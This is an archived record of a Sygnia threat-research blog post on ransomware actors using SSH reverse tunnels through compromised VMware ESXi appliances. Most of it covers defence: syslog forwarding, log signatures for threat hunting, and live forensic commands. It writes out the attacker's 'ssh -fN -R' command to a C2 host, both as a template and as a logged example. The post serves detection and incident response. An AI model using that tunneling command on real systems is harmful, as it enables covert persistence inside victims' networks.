{
	"id": "0acda57d-655e-41c4-9ae6-8994520cf845",
	"created_at": "2026-04-06T00:13:33.5474Z",
	"updated_at": "2026-04-10T03:21:09.453589Z",
	"deleted_at": null,
	"sha1_hash": "b647e18438ade1988ccf610e21ed41685ed44747",
	"title": "ESXi Ransomware Attacks: Stealthy Persistence through SSH Tunneling",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 225574,
	"plain_text": "ESXi Ransomware Attacks: Stealthy Persistence through SSH\r\nTunneling\r\nBy Sygnia\r\nPublished: 2025-01-21 · Archived: 2026-04-05 22:02:25 UTC\r\nESXi ransomware attacks target virtualized infrastructures using SSH tunneling to remain undetected. Discover\r\nthe techniques, forensic insights, and actionable defense strategies to protect your ESXi appliances from evolving\r\nthreats.\r\nZhongyuan Hau (Aaron), Ren Jie Yow, Yoav Mazor\r\n21 January 2025\r\n7 min\r\nKey Takeaways\r\nIn recent years, ESXi appliances have emerged as high-value targets for threat actors, primarily due to their\r\ncritical role in virtualized infrastructures. Threat actors aim to exfiltrate and encrypt virtual machine\r\nimages, a move that can severely disrupt business operations and inflict significant damage on the affected\r\norganization. In addition to causing operational downtime, such attacks can result in reputational damage\r\nto the affected organization.  \r\nTo maintain stealth and evade detection, ransomware groups have continuously evolved their tactics. ESXi\r\nappliances, which are unmonitored, are increasingly exploited as a persistence mechanism and gateway to\r\naccess corporate networks widely. Threat actors use these platforms by adopting “living-off-the-land”\r\ntechniques and using native tools like SSH to establish a SOCKS tunnel between their C2 servers and the\r\ncompromised environment. This allows them to blend into legitimate traffic and operate with minimal\r\ndetection. \r\nThis blog explores the technique and strategies employed by threat actors to exploit ESXi appliances,\r\nspecifically focusing on SSH tunneling as a persistence mechanism. It also provides forensic collection and\r\nthreat-hunting insights to help detect and mitigate such activity. Additionally, this discussion builds upon\r\nSygnia’s previously published article “ESXi Ransomware Attacks: Evolution, Impact, and Defense\r\nStrategy”, which provides an in-depth discussion of the attack lifecycle, outlines mitigation strategies, and\r\noffers actionable tactics for defending virtualized environments.\r\nESXi as a Network Pivot Point\r\nRansomware attacks targeting virtualized environments such as VMware ESXi infrastructure, where threat actors\r\nexfiltrate and encrypt files on the ESXi hosts, are increasingly common. ESXi appliances host critical servers for\r\nthe organization. Damaging them renders virtual machines inaccessible, severely disrupting the business\r\noperations of affected organizations. \r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 1 of 8\n\nIn addition to ESXi appliances being targeted by ransomware groups for exfiltration and encryption, ransomware\r\nintrusions also compromise and leverage these appliances earlier during attacks as a network pivot to tunnel\r\ntraffic. This tactic is extremely effective as ESXi infrastructure is usually not monitored, allowing threat actors to\r\nconduct their operations without being detected by security controls. A detailed example of this technique can be\r\nfound in Abyss Locker intrusions– these intrusions highlight the use of ESXi appliances and Network Attached\r\nStorage (NAS) devices to tunnel traffic within the network. \r\nHow Does the Tunneling Work?\r\nIn many of the cases investigated by Sygnia, the ESXi appliances were compromised either by using the\r\nadministrative credentials or by exploiting a known vulnerability to bypass the need for any authentication. \r\nOnce on the device, setting up the tunneling is a simple task using the native SSH functionality or by deploying\r\nother common tooling with similar capabilities. For example, by using the SSH binary, a remote port-forwarding\r\nto the C2 server can be easily setup by using the following command: \r\nssh –fN -R 127.0.0.1:\u003cSOCKS port\u003e \u003cuser\u003e@\u003cC2 IP address\u003e \r\nSince ESXi appliances are resilient and rarely shutdown unexpectedly, this tunneling serves as a semi-persistent\r\nbackdoor within the network. \r\nDiagram illustrating SSH tunneling to an ESXi appliance \r\nEvent Logging on ESXi Appliances\r\nThe logging mechanism in ESXi appliances is designed to distribute log entries across multiple dedicated log\r\nfiles. Unlike traditional syslog formats that capture a wide range of events in one single log file, ESXI’s log file,\r\n/var/log/syslog.log does not aggregate all relevant logs needed for forensic investigations; instead, ESXi\r\norganizes logs by specific activities, separating them into distinct files. While this approach creates a well-organized breakdown, it complicates investigations by requiring the use of multiple sources to gather all relevant\r\ninformation.   \r\nTo streamline log monitoring and ensure all relevant events are captured in one place, configuring log forwarding\r\non ESXi becomes essential. \r\nBy default, ESXi uses the following syslog configuration setup: \r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 2 of 8\n\nWhile ESXi does support a few third-party monitoring or telemetry agents, such tools are limited in availability.\r\nAs a more comprehensive and cost-effective solution, configuring syslog forwarding from the ESXi server to an\r\nexternal syslog server can solve the issue. This setup enables centralized monitoring of all activities within the\r\nESXi server and serves as a means of log retention.\r\nThe following key log files are the most important ESXi telemetry files that will often assist with detecting and\r\ninvestigating an attack using SSH tunneling techniques on the appliance: \r\n/var/log/shell.log (ESXi shell activity log) \r\n/var/log/hostd.log (Host agent log) \r\n/var/log/auth.log (authentication log) \r\n/var/log/vobd.log (VMware observer daemon log) \r\nConfiguring syslog forwarding to a remote syslog server on ESXi is a straightforward process. It can be executed\r\nusing the following commands within the ESXi SSH shell to set it up: \r\nEsxcli system syslog config set –loghost=’\u003cremote_host\u003e’ \r\nSetting of remote server \r\nEsxcli system syslog reload \r\nLoading of new syslog configuration \r\nEsxcli network firewall ruleset set –ruleset-id=syslog –enabled=true \r\nAllowing of syslog traffic through the firewall\r\nMonitoring and Threat Hunting\r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 3 of 8\n\nThe following are examples of common activities and messages found in ESXi syslog files  might indicate\r\nmalicious activity. \r\nEnabling SSH Service for ESXi\r\nLog  shell \r\nMessage \r\nAccepted password for user \u003cusername\u003e from \u003csource IP\u003e\r\n[Auth]: User \u003cusername\u003e\r\nUser \u003cusername\u003e@\u003csource IP\u003e logged in as \u003cUser Agent\u003e\r\nDescription  Authenticating into ESXi web console \r\nLog  vobd \r\nMessage  SSH access has been enabled\r\nDescription  Enabling of SSH access for ESXi on web console \r\nLog  hostd \r\nMessage \r\neventTypeId = “esx.audit.ssh.enabled”\r\nSSH access has been enabled\r\nSSH for the host localhost.localdomain has been enabled\r\nDescription  Enabling of SSH access for ESXi on web console \r\nLog  auth \r\nMessage  SSH login enabled\r\nDescription  Enabling of SSH access for ESXi on web console \r\nModification of ESXi Firewall Rules\r\nLog  vobd \r\nMessage \r\nFirewall configuration has changed. Operation ‘disable’ for rule set\r\nsnmp succeeded\r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 4 of 8\n\nDescription  Disabling of firewall rule via web console or via shell \r\nLog  hostd \r\nMessage \r\nTask Created : haTask-ha-host-vim.host.FirewallSystem.disableRuleset-Firewall configuration has changed. Operation ‘disable’ for rule set\r\nsucceeded\r\nTask Completed : haTask-ha-host-vim.host.FirewallSystem.disableRuleset- Status success\r\nDescription  Disabling of firewall rule via web console \r\nLog  shell \r\nMessage  esxcli network firewall ruleset set –ruleset-id=\u003cruleset\u003e –enabled=False\r\nDescription  Disabling of firewall rule via ssh shell \r\nSSH login to ESXi\r\nLog  hostd \r\nMessage  SSH session was opened for \u003cusername\u003e@\u003csource IP\u003e\r\nDescription  SSH authentication into ESXi \r\nLog  shell \r\nMessage  Interactive shell session started\r\nDescription  SSH authentication into ESXi \r\nLog  auth \r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 5 of 8\n\nMessage \r\nFIPS mode initialized\r\nConnection from \u003csource IP\u003e port \u003csource port\u003e\r\nAccepted keyboard-interactive/pam for root from \u003csource IP\u003e port\r\n\u003csource port\u003e ssh2\r\nsession opened for user \u003cusername\u003e by (uid=0)\r\nDescription  SSH authentication into ESXi \r\nLog  vobd \r\nMessage  SSH session was opened for ‘\u003cusername\u003e@\u003csource IP\u003e’\r\nDescription  SSH authentication into ESXi \r\nCommand Line Logging – SSH Port Forwarding\r\nLog  shell \r\nMessage  ssh -fN -R 127.0.0.1:48000 support@192.168.134.130\r\nDescription  Command line for SSH port forwarding \r\nCommand Line Logging – Access to /vmfs/volumes\r\nLog  shell \r\nMessage \r\nls /vmfs/volumes\r\ncd datastore1/\r\nDescription  Traversing ESXi file system \r\nAddition of New User and Assignment of Roles to Users\r\nLog  hostd \r\nMessage \r\nTask Created: haTash-ha-folder-root-vim.host.LocalAccountManager.createUser-\u003cnumerical ID\u003e\r\nUser lookup failed for ‘\u003cnew username\u003e’\r\nAccount \u003cusername\u003e was created on host \u003cESXi hostname\u003e\r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 6 of 8\n\nTask Completed: haTash-ha-folder-root-vim.host.LocalAccountManager.createUser-\u003cnumerical ID\u003e Status\r\nsuccess\r\nDescription  Creation of user via web console \r\nLog  hostd \r\nMessage \r\nTask Created : haTash–\r\nvim.AuthorizationManager.setEntityPermissions-\u003cnumerical ID\u003e\r\nTask Completed : haTash–\r\nvim.AuthorizationManager.setEntityPermissions-\u003cnumerical ID\u003e Status\r\nsuccess\r\nPermission created for \u003cnew username\u003e on \u003cusername\u003e, role is\r\n\u003cassigned role\u003e, propagation is Enabled\r\nDescription  Permission assignment for users via web console \r\nLive Forensic Collection from an ESXi Appliance\r\nThe following command lines can be used to gather live forensic artifacts from ESXi appliances at runtime.\r\nType of information  Process information \r\nCommand  esxcli system process list \r\nWhat to look out for  Active processes with their command lines \r\nType of\r\ninformation \r\nActive network connections \r\nCommand  esxcli network ip connection list \r\nWhat to look out\r\nfor \r\nConnections established by SSH process, connections established to\r\nport 22 \r\nType of information  Firewall config \r\nCommand  esxcli network firewall get \r\nWhat to look out for  Default firewall action (Pass/Drop) \r\nType of information  Firewall rules \r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 7 of 8\n\nCommand  esxcli network firewall ruleset rule list \r\nWhat to look out for  Detailed firewall rules indicating direction, protocol, port range \r\nType of information  Firewall rules \r\nCommand  esxcli network firewall ruleset list  \r\nWhat to look out for  Firewall rule status (enabled / disabled)  \r\nType of information  Accounts information \r\nCommand  esxcli system account list  \r\nWhat to look out for  Accounts present on the host \r\nType of information  Accounts information \r\nCommand  esxcli system permission list \r\nWhat to look out for  Permission of accounts present \r\nSource: https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nhttps://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
	],
	"report_names": [
		"esxi-ransomware-ssh-tunneling-defense-strategies"
	],
	"threat_actors": [],
	"ts_created_at": 1775434413,
	"ts_updated_at": 1775791269,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b647e18438ade1988ccf610e21ed41685ed44747.pdf",
		"text": "https://archive.orkl.eu/b647e18438ade1988ccf610e21ed41685ed44747.txt",
		"img": "https://archive.orkl.eu/b647e18438ade1988ccf610e21ed41685ed44747.jpg"
	}
}